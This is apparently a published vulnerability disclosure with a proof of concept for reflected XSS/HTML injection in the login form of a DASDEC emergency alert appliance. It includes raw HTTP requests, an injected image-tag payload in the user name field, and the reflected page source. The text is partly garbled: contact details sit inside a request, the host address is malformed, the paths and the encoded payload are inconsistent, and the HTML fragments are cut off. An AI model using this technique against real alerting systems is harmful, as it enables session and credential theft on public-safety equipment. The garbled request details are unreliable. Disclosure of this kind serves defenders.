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# Exploit Title: Monroe Electronics / Digital Alert Systems OneNet SE DASDEC Emergency Alert System Appliance – XSS / HTML Injection

# Date: 8/21/19

# Exploit Author: Ken Pyle, DFDR Consulting

# consult@dfdrconsulting.com

# Vendor Homepage: <https://www.digitalalertsystes.com/>

# CVE : TBD

Please credit KEN PYLE, DFDR CONSULTING in all public references to this vulnerability.

The DASDEC webserver fails to properly sanitize the the USER NAME form input and incorporates it into the application's response. An attacker can intercept a client request or send the victim a specially crafted link, injecting HTML content / executing scripts in the context of the victim's browser.

Here, a normal request to the target device, a ONENET SE 189, is shown.

POST /dasdec/dasdec.csp HTTP/1.1  
Host: 192.168.210  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.210/dasdec/dasdec.csp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 57  
Connection: close  
Cookie: session\_id=...  
Notice: Access to this system is restricted to Authorized Users only.  
Unauthorized access or use of this system may constitute a violation of Federal and/or local law, and may subject violators to civil action and/or criminal prosecution.

P: 267.540.3337

690 SUGARTOWN RD  
SUITE WH-201  
MALVERN, PA 19355

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The webserver fails to properly sanitize the form input and incorporates it into the resulting webpage content. In situations where a caching proxy is in use, this can poison the cache and enable an attacker to compromise multiple systems or maintain persistence across sessions.

Here, the form is submitted with XSS/HTML injection code inserted.

"><img src=DFDRTESTINJECTION.JPG>

One-Net: 'OneNet-1F EAS'

User Name: "><img src=DFDRTESTINJECTION.JPG>"

Password:

Login

NOTICE: Access to this system is restricted to Authorized Users only. Unauthorized access or use of this system may constitute a violation of Federal and/or local law, and may subject violators to civil action and/or criminal prosecution.

Note: For correct operation cookies & javascript must be enabled on your browser.  
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POST /dasdec/dasdec.csv HTTP/1.1  
Host:  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referrer: http:// dasdec/dasdec.csv  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 92  
Connection: close  
Cookie: session\_id= Upgrade-Insecure-Requests: 1

login\_user=%C2%2E%3Cimg%20src%3DDRTESTINJECTION.JPG%2E%20login\_password=dLogin.x=24&Login.y=1!

The returned page demonstrates Proof of Concept, injecting the HTML code into the page through reflected form input.

One-Net: 'OneNet-1F EAS'

User Name: <img src=DFDRTESTINJECTION.JPG>

Login failed.

NOTICE: Access to this system is restricted to Authorized Users only.

General Media Permissions Security

R189

http:// dasdec/DFDRTESTINJECTION.JPG Image

)  
das icon new 16x16.ico" rel="shortcut icon">  
"loginform" action="/dasdec/dasdec.csv" method="POST"  
order=6 width=900  
t-1F EAS</I></B></H1>  
order=0 cellspacing=1 cellpadding=1 width=900  
color="#ccba00">  
\$5555><B>User Name:</B><FONT><br>  
user" name="login\_user" value=""><img src=DFDRTESTINJECTION.JPG>" size=48 maxlength=48<br><td>  
S><B>password:</B><input type="password" name="login\_password" value="" size=48 maxlength=48></td></tr>  
"Login" alt="Login" value="Login" SRC="/dasdec/icons/login\_button.jpg" onClick="submit()"/>  
nbsp;<input type="submit" value="Login failed."/><B><table border=1 width=100% style="font-size:smaller;"><tr><td>  
system is restricted to Authorized Users only.<br> Unauthorized access or use of this system may

This can allow an attacker to compromise the victim's web browser, load content/scripts, steal session information / credentials.

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